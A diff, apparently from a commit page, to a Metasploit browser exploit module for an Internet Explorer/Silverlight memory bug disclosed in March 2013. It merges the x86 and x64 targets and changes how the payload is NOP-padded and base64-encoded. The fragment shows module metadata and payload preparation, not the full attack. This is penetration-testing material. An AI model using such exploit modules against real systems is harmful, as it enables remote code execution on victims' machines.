@@ -28,7 +28,7 @@ def initialize(info={})
2828 to dereference arbitrary memory which easily leverages to arbitrary code execution. In order
2929 to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class
3030 from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP
31- SP3 / Windows 7 SP1 on both x32 and x64 architectures .
31+ SP3 / Windows 7 SP1.
3232 } ,
3333 'License' => MSF_LICENSE ,
3434 'Author' =>
@@ -55,7 +55,7 @@ def initialize(info={})
5555 'EXITFUNC' => 'thread'
5656 } ,
5757 'Platform' => 'win' ,
58- 'Arch' => [ ARCH_X86 , ARCH_X86_64 ] ,
58+ 'Arch' => ARCH_X86 ,
5959 'BrowserRequirements' =>
6060 {
6161 :source => /script|headers/i ,
@@ -65,16 +65,7 @@ def initialize(info={})
6565 } ,
6666 'Targets' =>
6767 [
68- [ 'Windows x86' ,
69- {
70- 'arch' => ARCH_X86
71- }
72- ] ,
73- [ 'Windows x64' ,
74- {
75- 'arch' => ARCH_X86_64
76- }
77- ]
68+ [ 'Windows x86/x64' , { } ]
7869 ] ,
7970 'Privileged' => false ,
8071 'DisclosureDate' => "Mar 12 2013" ,
@@ -96,10 +87,8 @@ def exploit_template(cli, target_info)
9687 my_payload = get_payload ( cli , target_info )
9788
9889 # Align to 4 bytes the x86 payload
99- if target_info [ :arch ] == ARCH_X86
100- while my_payload . length % 4 != 0
101- my_payload = "\x90 " + my_payload
102- end
90+ while my_payload . length % 4 != 0
91+ my_payload = "\x90 " + my_payload
10392 end
10493
10594 my_payload = Rex ::Text . encode_base64 ( my_payload )
0 commit comments